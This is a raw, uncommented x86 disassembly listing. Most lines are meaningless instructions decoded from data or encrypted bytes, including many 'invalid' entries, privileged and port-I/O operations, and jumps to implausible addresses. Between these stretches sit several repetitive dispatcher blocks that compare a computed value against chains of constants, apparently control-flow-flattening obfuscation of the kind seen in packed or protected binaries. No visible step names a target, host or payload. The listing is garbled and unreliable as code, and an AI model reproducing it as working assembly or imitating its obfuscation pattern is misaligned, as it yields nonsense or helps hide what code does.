pop ebp
and eax, 0xd2d282c5
cmp eax, dword [esi + ebp*8 - 0x1392e1bb]
jmp 0x37c62a13
fmul dword [edx]
int3
cmpsb byte [esi], byte es:[edi]
lahf
invalid
bnd jbe 0x687d93e8
aad 0xea
test al, 0x4a
mov dh, 0x98
stc
xor edx, ecx
or eax, 0x3d77abc8
cmp dword [ecx - 0x5a4ae308], esp
stc
mov bl, 0xfb
push edi
invalid
outsb dx, byte [esi]
push ebp
aam 0x2c
jae 0x687d9e3a
arpl word [edi], dx
inc esp
adc byte [esi - 0x3f], cl
ret
adc byte [edx - 0x71], dl
jp 0x687d9e33
int1
pop es
push cs
sub dword [esi - 0x7e163370], edx
sub dword [eax], eax
add byte [ebp - 0x389ce184], bh
sub dword [ecx], 0x7cbd0000
push ds
mov ebp, 0xc7631e7c
arpl di, ax
wait
mov bh, 0x20
cmc
cmp eax, 0xafc18353
std
lds edi, [esi + 0x6f713c94]
adc ebp, dword [esi]
mov ebx, 0xafc008f8
wait
je 0x687d9e26
leave
jae 0x687d9e08
mov gs, word [ebx + 0x13]
pushal
push edx
stc
sti
out dx, eax
and ecx, esp
or byte [edi + 0x4c132d03], bl
cdq
pop ss
xor byte [esi + 0x662f02b6], ah
mov word [edi + 0x31d566e0], ds
cdq
sbb eax, 0x14faf26e
push ecx
xor ebx, dword [eax - 0x3c]
shl dword [esi + 0x2b], 1
add dword [edx - 0x49], eax
test ah, bh
out 0x40, eax
mov dh, byte [ebp + 0x6c1b11bb]
mov al, byte gs:[0x4b7d0328]
jp 0x687d9ed3
xor ah, byte [0x6ca5b9ef]
retf
or ch, dh
dec ebp
pushal
pushfd
shr ah, 0x4c
push 0xc4f54b0b
dec eax
movsb byte es:[edi], byte [esi]
fcmovbe st(0), st(4)
dec edx
push esp
ret
push 0x29
nop
int3
add al, 0xea
adc byte [eax - 0x34], 0xa9
pop ds
xor eax, 0x906df88f
or byte [ebx + 0x56cdbeb], ch
add dword [ebx - 0x5cffcafc], eax
lcall 0xd8f2, 0x38433188
sbb eax, 0x6ae690a0
push eax
pop es
jb 0x687da88e
sahf
and al, 0x77
in al, 0x8e
cmp byte [edi], al
pushfd
push es
or cl, byte [0x366ae0d1]
xchg esp, eax
inc eax
lodsd eax, dword [esi]
cmp al, 3
add dl, byte [0xaaa8f9d8]
sal byte [edx + edx*2 - 0x7181086e], 0xdf
sub ah, byte [ebx]
push cs
xor bl, ch
aas
leave
mov edx, 0xf1ce11
xchg ch, bh
ljmp 0xefa
pop edx
cmpsb byte [esi], byte es:[edi]
pushal
invalid
invalid
nop
jmp 0x687dc7b8
nop
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax + 0x28]
jmp 0x687ec5f1
mov dword [ebp - 0xa8], 0x30667
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xb0], 0xee7e4
mov dword [ebp - 0xac], 0
mov eax, dword [ebp - 0xb0]
mov edx, dword [ebp - 0xac]
sub eax, dword [ebp - 0xa8]
sbb edx, dword [ebp - 0xa4]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], edx
mov eax, dword [ebp - 0xb8]
xor eax, 0xe357d
or eax, dword [ebp - 0xb4]
je 0x687e5288
mov edx, 0xe357d
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x687e8665
mov eax, dword [ebp - 0xb8]
xor eax, 0xd925d
or eax, dword [ebp - 0xb4]
je 0x687e1448
mov edx, 0xd925d
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x687e8665
mov eax, dword [ebp - 0xb8]
xor eax, 0xd2f9f
or eax, dword [ebp - 0xb4]
je 0x687e5ce8
mov edx, 0xd2f9f
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x687e8665
mov eax, dword [ebp - 0xb8]
xor eax, 0xd1d7d
or eax, dword [ebp - 0xb4]
je 0x687e2908
mov edx, 0xd1d7d
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x687e8665
mov eax, dword [ebp - 0xb8]
xor eax, 0xbe17d
or eax, dword [ebp - 0xb4]
je 0x687e8668
mov edx, 0xbe17d
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x687e8665
mov eax, dword [ebp - 0xb8]
xor eax, 0xa876e
or eax, dword [ebp - 0xb4]
je 0x687e09e8
mov edx, 0xa876e
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x687e8665
mov eax, dword [ebp - 0xb8]
xor eax, 0xa4d93
or eax, dword [ebp - 0xb4]
je 0x687de068
mov edx, 0xa4d93
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x687e8665
mov eax, dword [ebp - 0xb8]
xor eax, 0xa3a77
or eax, dword [ebp - 0xb4]
je 0x687e1ea8
mov edx, 0xa3a77
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x687e8665
mov eax, dword [ebp - 0xb8]
xor eax, 0x9fb98
or eax, dword [ebp - 0xb4]
je 0x687e4828
mov edx, 0x9fb98
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x687e8665
mov eax, dword [ebp - 0xb8]
xor eax, 0x9833d
or eax, dword [ebp - 0xb4]
je 0x687e7c08
mov edx, 0x9833d
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x687e8665
mov eax, dword [ebp - 0xb8]
xor eax, 0x8b72f
or eax, dword [ebp - 0xb4]
je 0x687e3368
mov edx, 0x8b72f
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x687e8665
mov eax, dword [ebp - 0xb8]
xor eax, 0x82cdc
or eax, dword [ebp - 0xb4]
je 0x687dd608
mov edx, 0x82cdc
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x687e8665
mov eax, dword [ebp - 0xb8]
xor eax, 0x60192
or eax, dword [ebp - 0xb4]
je 0x687e71a8
mov edx, 0x60192
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x687e8665
mov eax, dword [ebp - 0xb8]
xor eax, 0x5e3c7
or eax, dword [ebp - 0xb4]
je 0x687dcba8
mov edx, 0x5e3c7
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x687e8665
mov eax, dword [ebp - 0xb8]
xor eax, 0x56606
or eax, dword [ebp - 0xb4]
je 0x687dff88
mov edx, 0x56606
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x687e8665
mov eax, dword [ebp - 0xb8]
xor eax, 0x47abc
or eax, dword [ebp - 0xb4]
je 0x687e3dc8
mov edx, 0x47abc
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x687e8665
mov eax, dword [ebp - 0xb8]
xor eax, 0x27ecc
or eax, dword [ebp - 0xb4]
je 0x687df528
mov edx, 0x27ecc
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x687e8665
mov eax, dword [ebp - 0xb8]
xor eax, 0x115dc
or eax, dword [ebp - 0xb4]
je 0x687deac8
mov eax, dword [ebp - 0xb8]
xor eax, 0x1904d
or eax, dword [ebp - 0xb4]
je 0x687e6748
jmp 0x687e8665
push edx
xor ecx, dword [ebp - 0x61]
xchg byte [edi], cl
mov eax, 0xb4b9d6da
ret
mov dword [0x24d055f5], eax
pop esp
in al, 0x58
jbe 0x687dd68a
cmpsd dword [esi], dword es:[edi]
int1
pop edx
xor dword [ecx], edx
dec ebp
push 0xffffffffffffffd5
test al, 0x90
std
or edi, dword [edi]
add al, 0xf7
jle 0x687dd688
and byte [ebx], ch
invalid
int 0x87
cmp byte [esi], 0xe9
dec eax
adc esi, dword [ebx + 0xd79bc2c]
sar byte [ecx + eax*2], 0x34
stc
cmp cl, byte [ecx + 0x7d09888e]
jge 0x687dd69e
mov byte [ecx], cl
jge 0x687dd709
adc dword [esi], esp
outsb dx, byte [esi]
outsb dx, byte es:[esi]
jge 0x687dd6e3
sub byte [ebp - 0x1c64bffb], 0xc4
sbb byte [ebx], dh
xor dl, byte [eax + ecx*8]
fcmovne st(0), st(5)
daa
int 0x27
xchg ebp, eax
jge 0x687dd6e9
mov esi, 0x8370fbf4
inc edx
and al, 0
stosd dword es:[edi], eax
mov ebx, 0xb815b93f
aam 0xcd
mov dl, 0xb9
and al, 0x7f
int 0xb2
mov ecx, 0x7fe080f3
cwde
sub eax, 0xd8c3c38e
cdq
mov eax, dword [0x335abfc8]
mov al, byte [0xf0f69282]
push 0xcd56c948
push es
xor bl, byte [eax - 0x419fdfee]
scasb al, byte es:[edi]
adc al, byte [ebx - 0x73402017]
invalid
pop ebp
je 0x687dd674
or bh, byte [ecx]
xor edi, dword [edx - 0x39]
jp 0x687dd6b2
sub al, byte [edx]
mov ebp, 0x55de24c4
ret 0x6fab
aad 0x14
dec edi
pushal
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov esi, 0x69c7a484
invalid
invalid
dec ecx
aad 0x18
jmp 0x1aab71d0
aas
or ebx, dword [0x1de3b8f4]
stc
in al, 0x23
je 0x687de0d4
jecxz 0x687de006
nop
int3
mov ecx, 0xe112228d
in al, 0x12
xor eax, 0xe2560883
mov dh, dl
jne 0x687de053
fsub st(3), st(0)
mov bl, 0x4a
mov bh, 0x65
xchg ebx, eax
int1
jo 0x687de033
push ds
fmulp st(0)
push ds
xchg esi, eax
pop ebx
cmc
inc ecx
xor byte [edi + 0x46c4cebd], ah
dec eax
sar dword [ebx - 0x26fa6318], 1
mov byte [0xa72a52b1], al
mov esp, 0xf3916f0e
mov bl, 0x87
js 0x687de0e5
pop esi
pop es
adc eax, ecx
dec ebx
or cl, cl
fdiv st(1), st(0)
fiadd dword [edi + 0x23ae2949]
jb 0x687de068
pop es
adc byte [ebx], al
invalid
jg 0x687de097
lodsb al, byte [esi]
retf 0x22b9
lds eax, [edi - 0x77]
cmp edx, edx
adc eax, 0xd59179cb
fadd dword [edi - 0x11]
jecxz 0x687de0e8
stc
sub eax, 0x838303bf
mov byte [0xc67c3190], al
invalid
hlt
test byte [ecx - 0x14], dh
ret 0xf264
inc esp
adc byte [ebx + 0x284da7c4], dh
jno 0x687df4b5
sub al, cl
jge 0x687df58d
invalid
cmp dword [edx + 0x32490658], ebp
sbb al, ah
aaa
sub byte [eax], cl
cmp cl, dl
inc ecx
inc esi
int 0x53
mov edx, 0xa90fccf8
xor byte [ebx - 0x6d], 0xca
mov dl, 0xe2
invalid
jg 0x687dffb7
jne 0x687dff8a
pop esp
daa
or dword [ecx - 0xc], esp
inc edi
mov ebx, 0x1f62bd6e
sar byte [edx], 1
lahf
idiv byte [esi - 0x76]
bound ebp, qword [esi - 0x4e2162f2]
adc byte [ecx], ah
pop es
mov byte [edx], bh
mov esi, 0xe6d1f9d6
xor dh, cl
push edx
xor eax, 0xb58caef8
sub edx, dword [ecx]
in al, dx
dec edx
push esp
inc ebp
jne 0x687dffcd
jne 0x687dfff4
call 0xfb184537
salc
sbb eax, 0x2910ef17
xor dword [edx], ebp
xchg edi, eax
pushal
pop ebp
and al, 0x35
loopne 0x687e0046
outsd dx, dword [esi]
cli
lodsb al, byte [esi]
jmp 0x687e0054
insb byte es:[edi], dx
pop edx
sti
int3
lahf
mul byte [edx + 0x1c]
out dx, eax
and eax, 0x1e876ff4
pop dword [ecx + 0x5fc8b351]
hlt
mov bl, 0xc8
pop edi
add dl, byte [edx - 0x4a88d9b3]
sub al, 0x9e
cmp al, byte [edi - 0x139d145e]
jle 0x687e004c
dec eax
call 0x5f09ec02
mov ah, 0xc5
push esi
int 0x50
inc esp
in al, dx
lea ebp, [edi + 0x14cc90a2]
mov ebx, 0xb8fd6103
rcr byte [ecx + edx*2 - 0x51], 1
int 0xb1
into
cdq
mov dh, 0xd5
js 0x687e00f3
iretd
and bh, byte [ebx]
test eax, 0x21bd144c
jge 0x687e00b5
bound ecx, qword [edi + 0x5e]
xchg edi, eax
cmp byte [eax - 0x2763ab66], cl
mov al, 0xaf
cwde
mov bh, 0x75
int3
js 0x687e00ff
mov eax, 0xab016a4b
pop ds
cmp al, al
add ebp, edi
and eax, dword [edi - 0x8beb21d]
cmp al, 0x4b
pushfd
pushal
stc
push edi
pop ecx
cmpsb byte [esi], byte es:[edi]
push cs
sti
add edi, ebp
sub ecx, dword cs:[ebx - 0x4d]
ja 0x687e00ae
jmp 0x5bc4cce0
invalid
pop esi
in al, dx
mov al, 0x28
and esi, edi
retf
jg 0x687e141a
movsb byte es:[edi], byte [esi]
xor edx, dword [edi - 0x17ea18c]
jnp 0x687e13a6
or esp, ebp
mov bh, 0x9f
sub cl, dh
push 0xffffffffffffffe2
cmp ebx, dword gs:[ebx + 0x16]
mov al, byte [0xc4fc4bba]
ja 0x687e1421
mov al, byte [0xf00a5f03]
xchg ebp, eax
cdq
add ebx, dword [edi + 0xa]
invalid
rol bl, 1
into
stosd dword es:[edi], eax
mov ebp, 0x42de612f
xor byte [ebp + ecx - 0x67], dl
add bl, byte [edx]
mov ah, byte [ebx - 0x7f]
aas
xchg byte [eax + 0x2356632a], cl
jnp 0x687e14b1
or dword [ebx + ebp*2 - 0x1e], esi
mov edi, 0x21e9cc90
jb 0x687e1447
add byte [edx], ah
dec ecx
pop ecx
and cl, byte [ecx + 0x59]
or esp, esi
insd dword es:[edi], dx
pop ecx
and byte [ebx], dh
jns 0x687e13fb
nop dword [ecx]
dec esi
insd dword es:[edi], dx
iretd
push esi
out dx, eax
sbb cl, dl
and eax, 0x4953ad9c
pop es
or ecx, dword [esi - 0x80]
ljmp 0xf64a
nop
jle 0x687e1531
sbb ecx, edx
push ebx
out dx, eax
inc ebp
mov dword [0x553c5e2], eax
mov es, word [edi + 0x7d]
popfd
or byte [esi + 0x60], ch
mov byte [eax + 0x5a9382f0], bl
push eax
stc
dec ecx
mov dword [0xa17fead0], eax
daa
cmp al, 0xfa
cmp cl, byte [ebx + 0x6844fd4d]
pop eax
push cs
and esi, eax
and al, byte [0xe5291318]
jne 0x687e148f
or ecx, edi
pop ebp
mov al, 0xd0
add eax, 0x3f43c551
out 0xcd, al
sub edi, dword ss:[ebp*4 - 0x21063dde]
mov edx, 0x51431339
fisubr word [edi]
retf 0x1fa7
aas
inc ecx
cmp al, 0x2e
push eax
nop
int3
mov esi, esp
pop ebp
adc byte [ebx + 0x7c], dh
dec eax
push ebx
jno 0x687e1eb1
popfd
push edx
invalid
adc bl, cl
scasb al, byte es:[edi]
imul byte [ebp + 0x4442b422]
test byte [ecx + 0x3356e8], bl
invalid
enter 0xffffffffffffa794, 0xffffffffffffff82
xor bl, byte [edi]
add esp, ebp
pop ss
int1
mov esp, 0x58b84503
jecxz 0x687e1e63
inc esi
mov esi, ecx
push 0x3c7d06cc
out 0xe8, eax
and dword [eax + 0x567097e7], edx
or eax, 0x26017aa0
test eax, 0xdfaae546
cmp eax, dword [ebp - 0x509f3fde]
movsb byte es:[edi], byte [esi]
adc dh, cl
in al, 0x82
dec ebx
and al, 0x6d
xor bh, byte [ecx + esi - 0x410f63d5]
mov dl, 0xbb
and eax, 0xbeb63644
ficomp word [edx + 0x5d7fdf15]
push edi
mov ch, 0x5b
cmc
xchg dword [eax + esi + 0x12e891a2], esp
xor al, 0x9a
push 9
jnp 0x687e1e91
ja 0x687e1f68
sub al, 0xad
invalid
jbe 0x687e1f70
das
adc dl, byte [ebp - 0x19efd16d]
mov ecx, 0xe8067d99
mov ebp, 0x8f45fdb
mul dword [ebp + 0x4c]
wait
mov dl, 0xec
push 0xc54870fe
dec edi
dec edi
dec esi
rcr dword [ebx + edi*4], 1
call 0xc32e92d8
mov bl, 0x85
invalid
sub al, 0x58
arpl di, bx
stosd dword es:[edi], eax
add edx, ebp
mov cl, 0x39
or eax, 0x5f7b697d
cmp dword [0x5f7b697d], ecx
std
fiadd dword [esi + 0x65]
nop
pop ebx
lodsb al, byte [esi]
test byte [edx + 0x18], 0x17
dec esp
xchg edi, edx
fstp xword [edx + 0x2174949]
mov ecx, esi
or esp, ebp
cmpsd dword [esi], dword es:[edi]
leave
insd dword es:[edi], dx
call 0xe4a8c3fe
jns 0x687e1f28
int3
fcomi st(7)
adc dword [esi], edx
and dh, byte [edi]
lodsb al, byte [esi]
pop ebx
mov ch, byte [eax + ebp*8 - 4]
cmp eax, edx
push ecx
lahf
rcl ebx, cl
adc al, 0xc9
in al, dx
insb byte es:[edi], dx
lcall 0xd900, 0x46a0118
inc edi
cmp eax, 0xc161f39f
mov al, byte [0xdd908e14]
mov byte [edx], bh
in eax, 0xb1
iretd
push esp
pop ebx
jo 0x687e3368
scasb al, byte es:[edi]
or ah, byte [ecx]
and eax, 0x72fe78aa
fdivr st(3)
invalid
adc al, byte [edx + 0x1e3d32f3]
mov bh, 0x9a
mov ah, 0x91
push edi
ljmp 0x6896
ljmp 0xe826:0x12789242
test al, 0x35
ret 0x593
mov cl, 0x56
ret
cmp ecx, dword [edi]
loope 0x687e5cce
or esp, ebp
in eax, dx
insd dword es:[edi], dx
mov ebx, 0xf57ea5b8
xor eax, dword [ebx - 0x6026fecc]
sbb dword [edi + 0x48eae6c0], esp
jns 0x687e5cb8
invalid
fadd qword [edx + 0x7453e4c1]
cmp byte [edi], ah
jbe 0x687e5c4a
cmpsb byte [esi], byte es:[edi]
aam 0x5a
invalid
into
add byte [edx - 0x55], dh
cli
add esi, dword [ebp - 0x33]
add dh, byte [edx + eax*2 - 0x6aeeb830]
pop ebx
mov bh, 0x8c
js 0x687e5cac
loop 0x687e5c93
inc edx
invalid
loope 0x687e5d0a
push es
mov al, byte [0x39381755]
or dword [edx + ebx*2], esi
loope 0x687e5ca4
add byte [edi], dh
add esp, esp
movsd dword es:[edi], dword [esi]
fst dword [eax + 0x2981e9cc]
add byte [eax], al
add dword [eax], edx
pop edi
test al, 4
loop 0x687e5c72
mov al, 0x5e
aad 0xcf
dec eax
enter 0x5d76, 0xffffffffffffffb6
mov esi, 0xa97591a3
xor esp, dword [ecx]
dec ebp
mov ecx, 0xd218dc21
dec eax
sbb dword [eax], esi
into
into
ret
push ss
inc edi
fisub dword [esi + 0x76]
invalid
fsub qword [eax - 0x6975a9ad]
scasb al, byte es:[edi]
dec esi
push es
sbb dword [edx + 0x2e3c75ed], eax
out 0xe0, eax
push cs
jg 0x687e71c3
push 0x27
hlt
add dword [ebp + 0x3c], edi
cmp al, 0x76
dec edi
stosb byte es:[edi], al
enter 0xffffffffffffbf48, 0xfffffffffffffff0
test dword [ebx + 0x5276fa3b], ebx
jecxz 0x687e7227
invalid
inc ebx
leave
movsd dword es:[edi], dword [esi]
push ds
jge 0x687e729c
adc dword [esp + eax*8 + 0x7f], eax
ret
dec edx
test al, 0x54
into
inc ecx
mov dword [edx + 0x63], edx
loopne 0x687e722d
sub dh, byte [ecx]
dec eax
mov dword [0x17e5e935], eax
aas
pop ss
rep outsb dx, byte [esi]
loopne 0x687e72cc
mov dl, ch
push es
inc eax
inc ecx
invalid
pop esi
xchg ecx, eax
mov eax, 0x10efbe2d
aaa
movsd dword es:[edi], dword [esi]
outsd dx, dword [esi]
xor al, 0xf
sub ebx, dword [ebp + ecx*8 - 0x432bb95]
xchg edx, eax
out dx, eax
popfd
mov dh, ch
sbb edx, ebx
sub byte [eax + 0x3cb2d7f6], dh
or dword [ecx - 0x72], ebp
cmp bh, byte [eax - 0x3a]
ror byte [edi - 0x7a], 1
mov eax, dword [0x85933186]
outsd dx, dword [esi]
push ecx
fsubrp st(7)
add ecx, dword [ecx]
sbb ebp, dword [eax]
jns 0x687e72e1
mov ch, 0xdb
pop esp
salc
invalid
imul esp, dword [eax - 0x312a3c2a], 0xad9987a6
add esi, dword [eax - 0x7f42068c]
adc dword [edx + 0x18ce2364], ebx
xchg byte [ebx + ecx*8], ch
invalid
loop 0x687e7b7d
wait
in al, 0x66
push esp
sbb ah, ch
pop esi
add ebx, dword [eax - 0x1b89afd1]
sub dh, byte [edi - 0x6b]
push ecx
inc edi
mov dl, 0x13
sbb ch, ch
ret 0xa766
ffree st(6)
jge 0x687e7c6b
jb 0x687e7c21
cmp cl, byte [ebp + 0x5c]
imul esp, dword [ebp + 2], 0x90cd02d7
int3
adc ebx, edx
jae 0x687e7bf2
dec edx
std
test al, 0xc4
ja 0x687e7bc0
enter 0xffffffffffffe038, 0xffffffffffffffd9
push ebx
inc esi
mov esi, 0x6e898673
mov eax, dword [0xdedc5289]
aad 0x44
push ds
push edx
mov edx, 0xb0a7635d
cli
call 0x89c1cc57
invalid
invalid
dec edx
mov dword [0xcb3e748b], eax
pushal
invalid
nop
jmp 0x687e8669
nop
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x687d1d6f
mov dword [ebp - 0x70], 0x6674e
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x78], 0x36675
mov dword [ebp - 0x74], 0
mov eax, dword [ebp - 0x6c]
imul eax, dword [ebp - 0x78]
mov edx, eax
mov eax, dword [ebp - 0x74]
imul eax, dword [ebp - 0x70]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x70]
mul dword [ebp - 0x78]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 0x80]
xor eax, 0xc6004aa6
mov edx, dword [ebp - 0x7c]
xor edx, 0x15
or eax, edx
je 0x687ec5e8
mov edx, 0xc6004aa6
mov eax, 0x15
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x687ec5eb
mov eax, dword [ebp - 0x80]
xor eax, 0xbad94
or eax, dword [ebp - 0x7c]
je 0x687e9c6b
mov edx, 0xbad94
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x687ec5eb
mov eax, dword [ebp - 0x80]
xor eax, 0xa67e1
or eax, dword [ebp - 0x7c]
je 0x687ea6cb
mov edx, 0xa67e1
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x687ec5eb
mov eax, dword [ebp - 0x80]
xor eax, 0x95aea
or eax, dword [ebp - 0x7c]
je 0x687ebb8b
mov edx, 0x95aea
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x687ec5eb
mov eax, dword [ebp - 0x80]
xor eax, 0x843fe
or eax, dword [ebp - 0x7c]
je 0x687e87ab
mov edx, 0x843fe
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x687ec5eb
mov eax, dword [ebp - 0x80]
xor eax, 0x5b95a
or eax, dword [ebp - 0x7c]
je 0x687eb12b
mov eax, dword [ebp - 0x80]
xor eax, 0x61082
or eax, dword [ebp - 0x7c]
je 0x687e920b
jmp 0x687ec5eb
or dword [0xddfe33a5], 0xb16ba18a
in eax, 3
jne 0x687e8837
bswap eax
not byte [ecx - 0x288832b2]
mov byte [0xad4bbb54], al
xchg edi, ecx
push eax
imul ecx, dword [edx - 0x1eeff782], 0xffffffab
imul esi, dword [ecx + 0x24], 0xffffffd6
or ebx, dword [ebx + esi*2 - 0x63eaa8f5]
add eax, dword [esi - 0x6fbdde56]
inc ebp
adc edi, dword [eax + 0x7d181182]
sahf
push 0x21921aab
fisttp word [esi + 0x210aab87]
lds ecx, [edx + 0x26d83796]
push cs
adc cl, cl
out 0x70, al
mov byte [0x3fe4b9d6], al
mov dl, 0xfb
rcr dword [eax], 0x99
sbb esp, ecx
jns 0x687e880f
retf
mov cl, 1
mov eax, 0x71eacaad
lcall 0xbdcb, 0x73aa2f88
invalid
sbb dword [ebp + 0x19cb1d1d], ebp
scasd eax, dword es:[edi]
or dl, byte [0xd1df0a34]
aam 0x5f
sub eax, 0xa4cf57a3
add esp, dword [edx]
pushal
cmpsb byte [esi], byte es:[edi]
mov dh, 0x40
add esp, dword [esi]
jnp 0x687e9285
ja 0x687e9211
int 0x1e
adc bh, byte [edx]
test eax, 0xc5a80c5d
imul byte [edx + 0x7064ead5]
mov eax, 0x9b8284c0
inc eax
arpl word [esi], bx
mov eax, dword [0x57237b36]
sbb ebx, dword [ebx + 0x5e4e4ef1]
imul edi, dword [esi + edx*4 - 0x27], 0xe
push 0xffffffffffffffe5
std
inc edi
inc esi
add ebp, dword [ebp + 0x748d790]
cmpsd dword [esi], dword es:[edi]
add edx, edi
and byte [ebp + 0x4483c85e], ch
mov edi, 0x1c05e559
add byte [edi + 0x18], dl
nop
les ecx, [ebx - 0x7d61cdec]
cwde
or ah, al
adc bh, byte cs:[ebx - 0x3f]
test al, 0xed
ja 0x687e9264
enter 0x4483, 0xffffffffffffffbf
pop ecx
in eax, 5
sbb al, 0
push edi
sbb byte [eax + 0x32148bc4], dl
sahf
sbb byte [eax + 0x122ec408], 0x7b
shr dword [eax - 0x1e1c8813], 0x1e
loope 0x687e92a1
push ds
xchg esp, esp
pop ebx
rcr dword [esi + 0x75], 1
in eax, dx
jnp 0x687e92dd
in al, dx
add byte [ecx], al
xchg byte [edx + ecx*2 - 0x36], ch
jp 0x687e9282
jp 0x687e929b
aad 0x92
xchg ecx, eax
xor byte [ebp + 0x61fd0c76], cl
dec ebp
outsd dx, dword [esi]
and dword [eax + 0x8b65f46], 0xffffffcc
mov esi, 0xae5789bc
cmpsb byte [esi], byte es:[edi]
mov dl, 0x53
sub al, 0x89
xchg dword [eax], ebp
mov al, 0x9a
lahf
mov dh, 5
cmc
aaa
nop
stc
and byte [edx - 0x5a04c500], ch
rcl byte [edi + 0x40afb8c0]
wait
xor esi, dword [edx + 0x6d4f67f1]
sbb esp, 0x3a
mov edx, 0xf43d0865
nop
imul edi, dword [ecx - 0x1d47947d], 0x79a1d7a2
retf 0x9833
sub dword [ebx - 0x48], 0xffffffe2
mov byte [0xca79a1d7], al
xor ebx, dword [eax + 0x2c4e8ad0]
mov esi, ebx
or ebp, ebx
mov esi, 0xf632c6dd
jns 0x687e934e
sbb byte [ecx + edi*2 - 0x70], bh
int3
dec ebp
pop ss
pushfd
inc edi
and byte [0x982bf423], dh
sub ebp, esi
int3
xchg byte [ebx + edx - 0x76a149e2], dh
outsd dx, dword [esi]
pop eax
adc dl, cl
and eax, 0xb53f52d9
ret 0x645f
outsb dx, byte [esi]
loopne 0x687ea6f7
add dword [esi], eax
push edx
stc
outsb dx, byte [esi]
pop es
retf
cmp esp, dword [0xd03b936e]
cmp edx, eax
fcmovu st(0), st(4)
dec edx
mov bh, 0x2f
out dx, eax
or byte [edi], bh
and al, 0x2c
push esi
aad 0xc3
jge 0x687ea73c
je 0x687ea753
sbb al, 0x5f
loope 0x687ea727
jo 0x687ea773
cmp dword [edi + 0x319f4d62], ebx
inc edx
jg 0x687ea766
mov al, byte [0xd307230f]
daa
fisub word [edi - 0x30]
sbb byte [0xefeb918e], bh
rcr byte [eax], 1
cmp eax, 0xefeb918e
cmc
push ebp
pop eax
movsb byte es:[edi], byte [esi]
mov ch, 6
xchg edi, eax
clc
wait
and eax, 0xd41b31e2
add dword [edi + ecx*2], ecx
fsub qword [ebx + ecx*8 - 0x5207b755]
into
in al, dx
jg 0x687ea6d3
xor al, 0xcf
mov ch, 0x57
jle 0x687ea785
je 0x687ea794
inc ecx
std
bound ebx, qword [esi]
out 0xcb, eax
xor dword [ecx], eax
not dword [edx - 0x71]
iretd
jecxz 0x687ea6fb
inc eax
mov esp, 0x24f0cc4a
pop ds
std
dec edx
push esi
adc al, 0x9a
mov byte [edx - 0x5c], bh
push ds
arpl word [edi], sp
lcall 0x2763, 0x1ea47a88
stc
test al, 0xc2
pushfd
hlt
je 0x687ea7f1
cwde
push ebp
or al, 0x55
dec ebp
add byte [esi + 0x4b], bl
inc ebp
lcall 0x52dd, 0x4074a7c3
movsd dword es:[edi], dword [esi]
inc eax
fst qword [edx - 0x5b]
invalid
and cl, cl
shr edx, 0x6d
rcr dword [esi], 0x49
int1
outsb dx, byte [esi]
invalid
cmp edi, dword [eax]
xlatb
loop 0x687ea81b
push ebp
jg 0x687ea80f
ret 0x4dc0
out dx, al
adc dword [ecx + 0x18], edx
invalid
mov al, 0x1a
jge 0x687ea7d2
lock add eax, dword [ecx - 3]
adc byte [ecx], bl
push ecx
push ebp
loope 0x687ea7a0
loopne 0x687ea7e8
and byte [esi + 0x5c], ch
xor byte [eax - 0x480c2fcd], bh
outsd dx, dword [esi]
cmp esi, dword [ebx]
out 0xc0, eax
enter 0xffffffffffff9121, 0xffffffffffffffa8
lcall 0xf511, 0x9f34a64a
ror al, 0x21
xchg ecx, eax
test al, 0x9a
dec edx
cmpsb byte [esi], byte es:[edi]
xor al, 0x9f
adc ebp, esi
jmp 0x687ea822
lahf
daa
mov al, 0x20
out 0x31, eax
call 0x729bad95
dec ecx
xor dword [eax - 0x7c], edi
retf 0x737f
fdivr qword [ebp + 0x3e]
push ss
popal
in eax, dx
sal ah, cl
mov byte [ebp + 0x4f29059c], bh
push ss
sub byte [edi + ebp + 0x7c], dh
js 0x687eb14f
mov edi, 0x7afa089d
dec esi
or edi, dword [ecx]
jo 0x687eb169
into
mov cr3, edi
invalid
in al, 0x43
